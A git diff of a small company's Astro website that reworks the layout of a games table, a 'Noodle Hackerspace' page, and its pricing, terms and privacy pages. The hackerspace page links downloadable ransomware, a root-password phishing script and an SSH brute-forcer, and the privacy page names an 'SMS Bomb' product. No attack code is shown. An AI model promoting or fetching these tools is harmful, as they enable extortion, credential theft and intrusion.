+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"><span><a target="_blank" href="https://itunes.apple.com/app/weekend-warriors-mma/id1053130968">iOS</a></span> <span><a target="_blank" href="https://play.google.com/store/apps/details?id=air.WeekendWarriors">Android</a></span> <span><a target="_blank" href="https://www.amazon.com/MDickie-Weekend-Warriors-MMA/dp/B019B5CBD8%5C">Amazon</a></span> <span><a target="_blank" href="https://store.steampowered.com/app/2289130">Steam (PC)</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">2015</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">82</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Super City</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"><span><a target="_blank" href="https://itunes.apple.com/app/super-city/id1118661709">iOS</a></span> <span><a target="_blank" href="https://apps.apple.com/us/app/super-city-xl/id1118673625?at=11l9z8&amp;uo=4&amp;mt=8">iPad</a></span> <span><a target="_blank" href="https://play.google.com/store/apps/details?id=air.SuperCity">Android</a></span> <span><a target="_blank" href="https://www.amazon.com/MDickie-Super-City-Superhero-Sim/dp/B01GD1IK92">Amazon</a></span> <span><a target="_blank" href="https://mdickie.com/apps/supercity_pc.zip">Windows</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/supercity_air16.apk">Sideload APK</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/supercity_x86.apk">x86 Version</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">05/16</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">83</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Wrecked</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"><span><a target="_blank" href="https://itunes.apple.com/us/app/wrecked-island-survival-sim/id1210873274">iOS</a></span> <span><a target="_blank" href="https://play.google.com/store/apps/details?id=air.Wrecked">Android</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">2017</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">84</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Extra Lives</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"><span><a target="_blank" href="https://itunes.apple.com/app/extra-lives-zombie-survival/id1298487584">iOS</a></span> <span><a target="_blank" href="https://play.google.com/store/apps/details?id=air.ExtraLives">Android</a></span> <span><a target="_blank" href="https://www.amazon.com/dp/B076NZRZJT">Amazon</a></span> <span><a target="_blank" href="https://store.steampowered.com/app/2310690/Extra_Lives">Steam (PC)</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">10/17</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">85</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Back Wars</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"><span><a target="_blank" href="https://itunes.apple.com/app/extra-lives-zombie-survival/id1298487584">iOS</a></span> <span><a target="_blank" href="https://play.google.com/store/apps/details?id=air.ExtraLives">Android</a></span> <span><a target="_blank" href="https://www.amazon.com/dp/B076NZRZJT">Amazon</a></span> </td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">2018</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">86</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">The You Testament (The 2D Coming)</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"><span><a target="_blank" href="https://itunes.apple.com/app/the-you-testament/id1446583125">iOS</a></span> <span><a target="_blank" href="https://play.google.com/store/apps/details?id=air.YouTestament">Android</a></span> <span><a target="_blank" href="https://www.amazon.com/MDickie-The-You-Testament/dp/B07MMWMHJV">Amazon</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/youtestament_chinese.apk">Chinese APK</a></span> <span><a target="_blank" href="https://store.steampowered.com/app/2266320/The_You_Testament_The_2D_Coming/">Steam (PC)</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">2018</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">This was thought to be the last game to use the Unity engine, which would be later used on the next following games. However, the AIR engine would no longer be used for the end of its era, entering into the Console era.</td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">87</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Wrestling Empire</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"><span><a target="_blank" href="https://apps.apple.com/us/app/wrestling-empire/id1543750891">iOS</a></span> <span><a target="_blank" href="https://play.google.com/store/apps/details?id=com.MDickie.WrestlingEmpire&amp;hl=en_US&amp;gl=US">Android</a></span> <span><a target="_blank" href="https://www.nintendo.com/store/products/wrestling-empire-switch/">Nintendo Switch</a></span> <span><a target="_blank" href="https://store.steampowered.com/app/1620340/Wrestling_Empire/">Steam (PC [Full and Demo])</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">01/21</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">88</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Old School</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"><span><a target="_blank" href="https://apps.apple.com/us/app/old-school-3d/id1673720627">iOS</a></span> <span><a target="_blank" href="https://play.google.com/store/apps/details?id=com.MDickie.OldSchool&amp;hl=en_US">Android</a></span> <span><a target="_blank" href="https://www.nintendo.com/store/products/old-school-switch/">Nintendo Switch</a></span> <span><a target="_blank" href="https://store.steampowered.com/app/2529120/Old_School/">Steam (PC)</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">09/23</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
+                    </tr>
+                    <tr style="height: 29px">
+                      <th style="height: 29px; vertical-align: middle;">
+                        <div style="line-height: 29px">89</div>
+                      </th>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Hard Time III</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;"><span><a target="_blank" href="https://apps.apple.com/app/hard-time-iii/id6502045884">iOS</a></span> <span><a target="_blank" href="https://play.google.com/store/apps/details?id=com.MDickie.HardTimeIII">Android</a></span> <span><a target="_blank" href="https://www.nintendo.com/us/store/products/hard-time-iii-switch">Nintendo Switch</a></span> <span><a target="_blank" href="https://store.steampowered.com/app/3009850/Hard_Time_III">Steam (PC)</a></span></td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">09/24</td>
+                      <td dir="ltr" style="height: 34px; vertical-align: middle;">Coming soon later in 2024, preorder is available.</td>
+                    </tr>
+                  </tbody>
+                </table>
+              </div>
             </div>
           </div>
         </div>
       </div>
-    </div>
-  </main>
-  <Footer marginTop="true" />
+    </main>
+    <Footer marginTop="true" />
+  </div>
   <BackToTop />
 </div>
 <Scripts />                                                                                                                                                                                                                       
diff --git a/src/pages/noodle.astro b/src/pages/noodle.astro
index 77752f171..f6b6a4765 100644
--- a/src/pages/noodle.astro
+++ b/src/pages/noodle.astro
@@ -1,3 +1,4 @@
+
 ---
 import Head from '../layouts/Head.astro';
 import Hero   from '../components/Hero.astro';
@@ -14,58 +15,59 @@ import BackToTop from '../components/BackToTop.astro';
   <div class="alert alert-dark mb-0" role="alert">
   This is an inactive community. Expect no new sections or changes without special exceptions.
   </div>
-  <Hero id="noodle" title="Noodle Hackerspace" description="Noodle Hackerspace is the community of physical and digital hacking resources!" imageSrc="/media/images/noodle.webp" imageWidth="15%" minImageWidth="150px" imageClasses="me-md-3 rounded-2"
-    buttons={[
-      { href: "/pynx", text: "Pynx's Projects", type: "primary" },
-      { href: "/backup/noodle", text: "View the all laid out format", type: "secondary" },
-    ]},
-    icons={[
-      { icon: "discord", desc: "Discord Server Invite", href: "https://discord.gg/r7qVKedjwR" },
-      { icon: "twitter", desc: "Twitter", href: "https://twitter.com/Aquoz_co" },
-      { icon: "bullseye", desc: "Pynx Technologies", href: "https://2983u2.site/" },
-      { icon: "heart-fill", desc: "Tokyo Chat", href: "https://tokyochat.pynxthegoat.repl.co/" },
-    ]},
-  />
-  <main id="noodle" class="text-center container">
-    <div id="disclaimer">
-      <h2> Disclaimer </h2>
-      <p> 
-      We do not take responsibility for any damage or legal issues with these files here at AT Products LLC, and the other communities at the Ethical Hacking Society, The Script Community, CodingHome, or the Noodle Hackerspace. <br><br>
-      Use a virtual machine if it's a computer virus; never open it on your physical machine. As a precaution, download them on your VM.<br><br>
-      If it's an APK file, use an emulator.<br><br><a href="https://www.vmware.com/topics/glossary/content/virtual-machine" target="_blank" rel="noopener noreferrer">More information on Virtual Machines (VM) </a><br><a href="https://developer.android.com/studio/run/emulator" target="_blank" rel="noopener noreferrer">More information on APK Emulators</a>
-      </p>
-    </div> 
-    <hr>
-    <div id="resources">
-      <h2> Resources </h2>
-      <p> What do you want to know about today? </p>
-      <Modal title="Pynx Technologies" id="pynx">
-        <Fragment slot="modal-content">
-          <p><a href="https://2983u2.site/">Pynx Technologies</a> is a company that has cybersecurity tools, pentesting tools, etc. It sells at the moment 
-          SSkullzv2 and Skullzv3.</p>
+  <div id="main-content">
+    <Hero id="noodle" title="Noodle Hackerspace" description="Noodle Hackerspace is the community of physical and digital hacking resources!" imageSrc="/media/images/noodle.webp" imageWidth="15%" minImageWidth="150px" imageClasses="me-md-3 rounded-2"
+      buttons={[
+        { href: "/pynx", text: "Pynx's Projects", type: "primary" },
+        { href: "/backup/noodle", text: "View the all laid out format", type: "secondary" },
+      ]},
+      icons={[
+        { icon: "discord", desc: "Discord Server Invite", href: "https://discord.gg/r7qVKedjwR" },
+        { icon: "bullseye", desc: "Pynx Technologies", href: "https://2983u2.site/" },
+        { icon: "heart-fill", desc: "Tokyo Chat", href: "https://tokyochat.pynxthegoat.repl.co/" },
+      ]},
+    />
+    <main id="noodle" class="text-center container">
+      <div id="disclaimer">
+        <h2> Disclaimer </h2>
+        <p> 
+        We do not take responsibility for any damage or legal issues with these files here at AT Products LLC, and the other communities at the Ethical Hacking Society, The Script Community, CodingHome, or the Noodle Hackerspace. <br><br>
+        Use a virtual machine if it's a computer virus; never open it on your physical machine. As a precaution, download them on your VM.<br><br>
+        If it's an APK file, use an emulator.<br><br><a href="https://www.vmware.com/topics/glossary/content/virtual-machine" target="_blank" rel="noopener noreferrer">More information on Virtual Machines (VM) </a><br><a href="https://developer.android.com/studio/run/emulator" target="_blank" rel="noopener noreferrer">More information on APK Emulators</a>
+        </p>
+      </div> 
+      <hr>
+      <div id="resources">
+        <h2> Resources </h2>
+        <p> What do you want to know about today? </p>
+        <Modal title="Pynx Technologies" id="pynx">
+          <Fragment slot="modal-content">
+            <p><a href="https://2983u2.site/">Pynx Technologies</a> is a company that has cybersecurity tools, pentesting tools, etc. It sells at the moment 
+            SSkullzv2 and Skullzv3.</p>
+          </Fragment>
+        </Modal>
+        <Modal title="Stories" id="stories">
+          <Fragment slot="modal-content">
+            <p><a href="/stories/cctv">CCTV Interception</a></p>
+          </Fragment>
+        </Modal>  
+        <Modal title="Viruses &amp; Malware" id="files">
+          <Fragment slot="modal-content">
+            <p> <a href="/media/files/root.sh" download>Root Password Phishing (Bash)</a> <a href="/media/files/alias.sh">Alias Command Version</a> <a href="/media/files/instruct.txt">Instructions</a> by Lynx </p>
+            <p> <a href="/media/files/login.py" download>Example Login Program (Python)</a>, (Password is "password"), by Lynx </p>
+            <p> <a href="/media/files/Cerbios.py" download>Cerbios Ransomware (Python)</a> by Pynx </p>
+            <p> <a href="/media/files/sshbrute-main.zip" download>SSH Brute (Python [ZIP])</a> by Pynx </p>
+          </Fragment>
+        </Modal>
+        <Modal title="Apps &amp; Software" id="app">
+          <Fragment slot="modal-content">
+            <p> <a href="https://tokyochat.pynxthegoat.repl.co/">Tokyo Chat</a> by Pynx </p>
         </Fragment>
       </Modal>
-      <Modal title="Stories" id="stories">
-        <Fragment slot="modal-content">
-          <p><a href="/stories/cctv">CCTV Interception</a></p>
-        </Fragment>
-      </Modal>  
-      <Modal title="Viruses &amp; Malware" id="files">
-        <Fragment slot="modal-content">
-          <p> <a href="/media/files/root.sh" download>Root Password Phishing (Bash)</a> <a href="/media/files/alias.sh">Alias Command Version</a> <a href="/media/files/instruct.txt">Instructions</a> by Lynx </p>
-          <p> <a href="/media/files/login.py" download>Example Login Program (Python)</a>, (Password is "password"), by Lynx </p>
-          <p> <a href="/media/files/Cerbios.py" download>Cerbios Ransomware (Python)</a> by Pynx </p>
-          <p> <a href="/media/files/sshbrute-main.zip" download>SSH Brute (Python [ZIP])</a> by Pynx </p>
-        </Fragment>
-      </Modal>
-      <Modal title="Apps &amp; Software" id="app">
-        <Fragment slot="modal-content">
-          <p> <a href="https://tokyochat.pynxthegoat.repl.co/">Tokyo Chat</a> by Pynx </p>
-      </Fragment>
-    </Modal>
-    </div>  
-  </main>
-  <Footer author="Alex Toucan & Pynx"/>
+      </div>  
+    </main>
+    <Footer author="Alex Toucan & Pynx" />
+  </div>
   <BackToTop />
 </div>
-<Scripts />
+<Scripts modal="true" />
diff --git a/src/pages/paid.astro b/src/pages/paid.astro
index 7019ea401..0c7a92904 100644
--- a/src/pages/paid.astro
+++ b/src/pages/paid.astro
@@ -12,66 +12,75 @@ import BackToTop from '../components/BackToTop.astro';
 <Head title="Paid Services" heroid="web" description="Get stuff done with AT Products!" keywords="AT Products, Ethical Hacking Society, The Script Community, AT Products LLC, ATproducts" author="Alex Toucan"/>
 <div id="page">
   <Navbar />
-  <Hero id="web" title="Paid Services" description="Get stuff done with AT Products LLC; our digital services will help you create your own services!" 
-    buttons={[
-      { href: "/paidterms", text: "Paid Services & Website Creation Policies and Terms", type: "secondary" },
-    ]},
-  />
-  <main id="paid" class="text-center container">
-    <figure class="my-4">
-      <blockquote class="blockquote">
-        <p>"Where innovation meets quality. Experience the difference with our cutting-edge technology, impeccable craftsmanship, and unwavering commitment to customer satisfaction. Elevate your expectations and unlock a world of possibilities with AT Products LLC."</p>
-      </blockquote>
-      <figcaption class="blockquote-footer">
-      <cite title="Quote Source"> JSman255 from <a href="https://deltasoftai.com">Deltasoft</a>.</cite>
-      </figcaption>
-    </figure>
-    <div class="d-md-flex d-grid gap-3 flex-wrap row-cols-2-md mb-3">
-      <div class="col-md">
-        <FirstPaidCard 
-          title="Website Design" 
-          price="$20-500*" 
-          description="Your website can have the most modern stuff on the market with HTML5 &amp; CSS3, Bootstrap v5, responsive layout, and will be compatible with all browsers with the Website Design package! (Estimates will be provided)" 
-          btnhref="/form" 
-          btntext="Contact us" 
-          footertext="* Prices may be raised dependent on the requested project, these are not guaranteed prices." 
-        />
-      </div>
-      <div class="col-md">
-        <FirstPaidCard 
-          title="Website Hosting" 
-          price="$1-75*<small class='text-body-secondary fw-light'>/week or month</small>" 
-          secondaryprice="<b>$1-50/week or month</b> with the &quot;Website Design&quot; package." 
-          description="Keep your website up with our services! This package includes security certificate renewals." 
-          btnhref="/form" 
-          btntext="Contact us" 
-          footertext="* These are not guaranteed prices." 
-        />
-      </div>
-      <SecondPaidCard 
-        title="Other Services" 
-        description="These are other services that we offer as secondary services." 
-        btnhref="/form" 
-        btntext="Contact us"   
-        footertext="* These are not guaranteed prices."
-      >
-        <div slot="paid-card-content">
-          <p><b>Website Maintenance:</b> Price varies (Min: $10, max: $250)*; this package will help your site become more up-to-date and fix bugs if needed. Note that you do not need a primary package before buying this.</p>
-          <p class="mb-0"><b>Email Creation:</b> $20 (No DNS Setup), $30 (DNS Setup); this package will create up to 5 users for your domain under Zoho Mail. Note that you do not need a primary package before buying this, and we need access to your DNS settings.</p>
+  <div id="main-content">
+    <Hero id="web" title="Paid Services" description="Get stuff done with AT Products LLC; our digital services will help you create your own services!" 
+      buttons={[
+        { href: "/paidterms", text: "Paid Services & Website Creation Policies and Terms", type: "secondary" },
+      ]},
+    />
+    <main id="paid" class="text-center container">
+      <figure class="my-4">
+        <blockquote class="blockquote">
+          <p>"Where innovation meets quality. Experience the difference with our cutting-edge technology, impeccable craftsmanship, and unwavering commitment to customer satisfaction. Elevate your expectations and unlock a world of possibilities with AT Products LLC."</p>
+        </blockquote>
+        <figcaption class="blockquote-footer">
+        <cite title="Quote Source"> JSman255 from <a href="https://deltasoftai.com">Deltasoft</a>.</cite>
+        </figcaption>
+      </figure>
+      <div class="d-md-flex d-grid gap-3 flex-wrap row-cols-2-md mb-3">
+        <div class="col-md">
+          <FirstPaidCard 
+            title="Website Design" 
+            price="$20-500*" 
+            description="Your website can have the most modern stuff on the market with HTML5 &amp; CSS3, Bootstrap v5, responsive layout, and will be compatible with all browsers with the Website Design package! (Estimates will be provided)" 
+            btnhref="/contact/" 
+            btntext="Contact us" 
+            footertext="* Prices may be raised dependent on the requested project, these are not guaranteed prices." 
+          />
         </div>
-      </SecondPaidCard>
-      <SecondPaidCard 
-        title="Donation Box" 
-        description="If you would like to donate without buying our packages, you can do so here!"
-      >
-        <div slot="paid-card-content">
-          <p class="mb-0"><b>CashApp:</b> $ATProductsLLC</p>
+        <div class="col-md">
+          <FirstPaidCard 
+            title="Website Hosting" 
+            price="$1-75*<small class='text-body-secondary fw-light'>/week or month</small>" 
+            secondaryprice="<b>$1-50/week or month</b> with the &quot;Website Design&quot; package." 
+            description="Keep your website up with our services! This package includes security certificate renewals." 
+            btnhref="/contact/" 
+            btntext="Contact us" 
+            footertext="* These are not guaranteed prices." 
+          />
         </div>
-      </SecondPaidCard>
-    </div>
-    <p> We only accept CashApp. Contact <a href="/form">our support line</a>, and we can figure something out. <a href="/paidterms">Terms may apply</a>.</p>
-  </main>
-  <Footer />
+        <SecondPaidCard 
+          title="Other Services" 
+          description="These are other services that we offer as secondary services." 
+          btnhref="/contact/" 
+          btntext="Contact us"   
+          footertext="* These are not guaranteed prices."
+        >
+          <div slot="paid-card-content">
+            <p><b>Website Maintenance:</b> Price varies (Min: $10, max: $250)*; this package will help your site become more up-to-date and fix bugs if needed. Note that you do not need a primary package before buying this.</p>
+            <p class="mb-0"><b>Email Creation:</b> $20 (No DNS Setup), $30 (DNS Setup); this package will create up to 5 users for your domain under Zoho Mail. Note that you do not need a primary package before buying this, and we need access to your DNS settings.</p>
+          </div>
+        </SecondPaidCard>
+        <SecondPaidCard 
+          title="Donation Box" 
+          description="If you would like to donate without buying our packages, you can do so here!"
+        >
+          <div slot="paid-card-content">
+            <div class="d-flex flex-wrap gap-2"> 
+              <div class="col text-end">
+                <b>CashApp:</b>
+              </div>
+              <div class="col text-start">
+                $ATProductsLLC
+              </div>
+            </div>
+         </div>
+        </SecondPaidCard>
+      </div>
+      <p> We only accept CashApp. Contact <a href="/contact/">our support line</a>, and we can figure something out. <a href="/paidterms">Terms may apply</a>.</p>
+    </main>
+    <Footer />
+  </div>
   <BackToTop />
 </div>
 <Scripts />
diff --git a/src/pages/paidterms.astro b/src/pages/paidterms.astro
index 77fd15f44..25d1c36a3 100644
--- a/src/pages/paidterms.astro
+++ b/src/pages/paidterms.astro
@@ -8,8 +8,9 @@ import BackToTop from '../components/BackToTop.astro';
 
 <Head title="Paid Services & Website Creation Policies and Terms" description="View our Paid Services & Website Creation Policies and Terms to understand our website and paid Services guidelines." author="Alex Toucan"/>
 <div id="page">
-<Navbar />
-  <main id="tos" class="container">
+  <Navbar />
+  <div id="main-content">
+  <main id="paidterms" class="container">
     <h1 class="title"> Paid Services & Website Creation Policies and Terms</h1> 
     <h5> Last Updated: <time>August 21st, 2024</time>.</h5>
     <h5> Into Effect: <time>August 21st, 2024</time>.</h5>
@@ -22,8 +23,8 @@ import BackToTop from '../components/BackToTop.astro';
     </div> 
     <div id="definitions">
     <h3> Definitions</h3> 
-    <p> <b>Company:</b> AT Products LLC/ATPLLC <br>
-        <b>Services:</b> Primary Services: Website Design Package, and Website Hosting Package. Secondary Services: Website Maintenance Package. (commonly referred to as "We", "Us", and "Our")<br>
+    <p> <b>Company:</b> AT Products LLC/ATPLLC (commonly referred to as "We", "Us", and "Our")<br>
+        <b>Services:</b> Primary Services: Website Design Package, and Website Hosting Package. Secondary Services: Website Maintenance Package.<br>
         <b>You/Your:</b> You refers to the individual accessing or using the Website, Service, or Code, or the Company or any other legal entity on behalf of which such individual is accessing or using the Website, Service, or Code, as applicable. </p>
     </div>
     <div id="paidterms">
@@ -38,7 +39,7 @@ import BackToTop from '../components/BackToTop.astro';
         The client agrees to maintain the confidentiality of any confidential information received from the Company during the provision of the Services. Confidential information includes but is not limited to, trade secrets, client data, website concepts, and proprietary methodologies.<br><br>
         Until our website design package is completed in full and You, the customer, has paid our invoice, we shall own Your website created by us. If You ask for maintenance on Your site, we will claim ownership again until the service(s) are completed and again paid in full. If You do not pay in full after the requested service is done, in 30 days, we will delete the website (or project), and it shall not be recovered. If we cannot do such, legal action will be taken. The website maintenance package does not apply, You shall own the site until the website design package is completed.<br><br>
         The website provided by the Company is offered "as is" and without any warranties, whether expressed or implied. The Company shall not be liable for any direct, indirect, incidental, consequential, or special damages arising out of or in connection with using the Services.<br><br>
-        We reserve the right under the Freedom of Association to refuse services to anyone for any reason that does not violate our <a href="/titleiiandvii.astro">Title II & VII Policy</a>. Persistent inquiries regarding refused service(s) may result in a permanent ban and blocking of your email address.
+        We reserve the right under the Freedom of Association to refuse services to anyone for any reason that does not violate our <a href="/titleiiandvii">Title II & VII Policy</a>. Persistent inquiries regarding refused service(s) may result in a permanent ban and blocking of your email address.
       </p>
     </div>
     <div id="acceptance">
@@ -46,9 +47,10 @@ import BackToTop from '../components/BackToTop.astro';
       <p> Upon contacting us for any service package, You signify Your agreement to the following TOS. If You violate any section of the TOS, we reserve the right to revoke Your privileges and ability to use what we provide of Services and Servers. <br>
         <br> We reserve the right, at our sole discretion, to modify or replace these rules at any time. If a revision has a good effect on You, we will make efforts to provide at least a 30-day notice before any new rules take effect. A sufficient revision is determined at our sole discretion.
       </p>
-</div>
+    </div>
   </main>
 <Footer />
+</div>
 <BackToTop />
 </div>
 <Scripts />
diff --git a/src/pages/policies.astro b/src/pages/policies.astro
index 5ee652cf1..d32728619 100644
--- a/src/pages/policies.astro
+++ b/src/pages/policies.astro
@@ -8,21 +8,23 @@ import BackToTop from '../components/BackToTop.astro';
 
 <Head title="Policies" description="View ATP's policies." author="Alex Toucan"/>
 <div id="page">
-<Navbar />
-        <main id="policies" class="text-center container"> 
-          <h1 class="title"> Policies </h1>
-     <div class="d-md-flex d-grid flex-wrap gap-2">
-<div class="col">
-  <a href="/privacy"><h3>Privacy Policy</h3></a>
+  <Navbar />
+  <div id="main-content">
+    <main id="policies" class="text-center container"> 
+      <h1 class="title"> Policies </h1>
+      <div class="d-md-flex d-grid flex-wrap gap-2">
+        <div class="col">
+          <a href="/privacy"><h3>Privacy Policy</h3></a>
+        </div>
+        <div class="col">
+          <a href="/titleiiandvii"><h3>Title II & VII Policy</h3></a>
+        </div>
+        <div class="col-12">
+          <a href="/paidterms"><h3>Paid Services & Website Creation Policies and Terms</h3></a>
+        </div>
+      </main>
+    <Footer />
   </div>
-       <div class="col">
-  <a href="/titleiiandvii"><h3>Title II & VII Policy</h3></a>
-  </div>
-                 <div class="col-12">
-  <a href="/paidterms"><h3>Paid Services & Website Creation Policies and Terms</h3></a>
-          </div>
-</main>
-<Footer />
-<BackToTop />
+  <BackToTop />
 </div>
 <Scripts />
diff --git a/src/pages/privacy.astro b/src/pages/privacy.astro
index 097272dec..bc42fd328 100644
--- a/src/pages/privacy.astro
+++ b/src/pages/privacy.astro
@@ -1,46 +1,51 @@
 ---
 import Head from '../layouts/Head.astro';
 import Scripts from '../layouts/Scripts.astro';
-import Navbar    from '../components/Navbar.astro';
-import Footer    from '../components/Footer.astro';
+import Navbar from '../components/Navbar.astro';
+import Footer from '../components/Footer.astro';
 import BackToTop from '../components/BackToTop.astro';
 ---
 
 <Head title="Privacy Policy" description="Your privacy is important here at AT Products, view the Privacy Policy to understand what we'll do for your privacy." author="Alex Toucan" />
 <div id="page">
   <Navbar />
-  <main id="privacy" class="container">
-    <h1 class="title"> Privacy Policy </h1>
-    <h5> Last Updated: <time>April 2nd, 2024</time>. </h5>
-    <h5> Into Effect: <time>April 3rd, 2024</time>. </h5>
-    <div id="definitions">
+  <div id="main-content">
+    <main id="privacy" class="container">
+      <h1 class="title"> Privacy Policy </h1>
+      <h5> Last Updated: <time>September 30th, 2024</time>. </h5>
+      <h5> Into Effect: <time>October 10th, 2024</time>. </h5>
       <div id="definitions">
-        <h3> Definitions </h3>
-          <p>   <b>Company:</b> AT Products LLC/ATPLLC: The Collection of the ATP Database, AT Products, The Script Community, Ethical Hacking Society, CodingHome, and the Noodle Hackerspace (commonly referred to as "We", "Us", "Our") <br>
-          <br> <b>Website:</b> <a href="https://atproducts.xyz">atproducts.xyz</a>
-          <br> <b>Products:</b> Flash Documentation, MDickie Projects, and SMS Bomb. <br>
-          <br> <b>You/Your:</b> You/Your refers to the individual, organization, or company accessing or using the Servers, Website, Service, or the company or any other legal entity on behalf of which such individual, organization, or company is accessing or using any Discord Server, Website, File (including code), and access to any other Services by/owned by AT Products LLC.
-        </p>
-      </div>      
-      <div id="general-policy">
-        <h3> I: General Privacy Policy</h3>
-        <div id="cookies">
-          <h4> Website Cookies </h4>
-          <p>Cookies help analytics and color modes run on this site. Since this website is based in the US, there are state laws that match this site, such as the CCPA (California), VCDPA & CDPA (Virginia), CPA (Colorado), CTDPA (Connecticut), and UCPA (Utah), and also in Europe, there is the GDPR, we must have permission from the user to use cookies due to privacy. We do not currently serve third-party cookies (cookies from other websites), which is getting blocked in major browsers as of 2024. You can block any cookie at any time using your browser's cookie settings. </p>
-        </div>
-        <div id="data">
-          <h4> Data and Files </h4>
-          <p> We will never log user activity (including clicks, typing, or any other actions on this site, especially on the Contact Form). Any data that goes to us will not be sold (this also applies to website cookies and IP addresses). All data/file(s) that are claimed/owned by you can be removed by contacting <a href="mailto:support@atproducts.xyz">our support line</a>. </p>
-        </div>
-      </div>
-    <div id="acceptance">
-      <h3> II: Acceptance</h3>
-      <p> Upon visiting our Website, You signify your agreement to the following Privacy Policy.<br> 
-        <br> We reserve the right, at our sole discretion, to modify or replace the Privacy Policy at any time. If a revision has a good effect on You, we will make efforts to provide at least a 30-day notice before any new privacy statements take effect. A sufficient revision is determined at our sole discretion.
-      </p>
-</div>
-  </main>
-  <Footer />
+        <div id="definitions">
+          <h3> Definitions </h3>
+            <p>  <b>Company:</b> AT Products LLC/ATPLLC: The Collection of the ATP Database, AT Products, The Script Community, Ethical Hacking Society, CodingHome, and the Noodle Hackerspace (commonly referred to as "We", "Us", "Our") <br>
+            <br> <b>Website:</b> <a href="https://atproducts.xyz">atproducts.xyz</a>
+            <br> <b>Products:</b> Flash Documentation, MDickie Projects, and SMS Bomb. <br>
+            <br> <b>You/Your:</b> You/Your refers to the individual, organization, or company accessing or using the Servers, Website, Service, or the company or any other legal entity on behalf of which such individual, organization, or company is accessing or using any Discord Server, Website, File (including code), and access to any other Services by/owned by AT Products LLC.
+          </p>
+        </div>      
+        <div id="general-policy">
+          <h3> I: General Privacy Policy</h3>
+          <div id="cookies">
+            <h4> Website Cookies </h4>
+            <p>Cookies help analytics and color modes run on this site. Since this website is based in the US, there are state laws that match this site, such as the CCPA (California), VCDPA & CDPA (Virginia), CPA (Colorado), CTDPA (Connecticut), and UCPA (Utah), and also in Europe, there is the GDPR, we must have permission from the user to use cookies due to privacy. We do not currently serve third-party cookies (cookies from other websites), which is getting blocked in major browsers as of 2024. You can block any cookie at any time using your browser's cookie settings. </p>
+          </div>
+          <div id="data">
+            <h4>Data and Files</h4>
+            <p>We do not log user activity on this site, including clicks, typing, or any other actions, especially on the Contact Form. Any data collected will not be sold or shared (sharing exception for Netlify), including website cookies and IP addresses. If you wish to remove any data or files that you own, please contact our support team at <a href="mailto:support@atproducts.xyz">support@atproducts.xyz</a>.</p>
+          </div>        
+          <div id="ip">
+            <h4>IP Addresses</h4>
+            <p>When you submit our <a href="/contact/">Contact Form</a>, your IP address is logged and sent to our service provider, <a href="https://netlify.com">Netlify</a>. This information is only visible to us and Netlify and is used solely for specific purposes (e.g., security, analytics). As stated in the <a href="#data">data section</a>, we do not sell or share this information with third parties (sharing exception for Netlify).</p>
+          </div>
+          <div id="acceptance">
+            <h3> II: Acceptance</h3>
+            <p> Upon visiting our Website, You signify your agreement to the following Privacy Policy.<br> 
+            <br> We reserve the right, at our sole discretion, to modify or replace the Privacy Policy at any time. If a revision has a good effect on You, we will make efforts to provide at least a 30-day notice before any new privacy statements take effect. A sufficient revision is determined at our sole discretion.
+            </p>
+          </div>
+      </main>
+      <Footer />
+  </div>
   <BackToTop />
 </div>
 <Scripts />
diff --git a/src/pages/pynx.astro b/src/pages/pynx.astro
index e5bd50ad9..ec164d70f 100644
--- a/src/pages/pynx.astro
+++ b/src/pages/pynx.astro
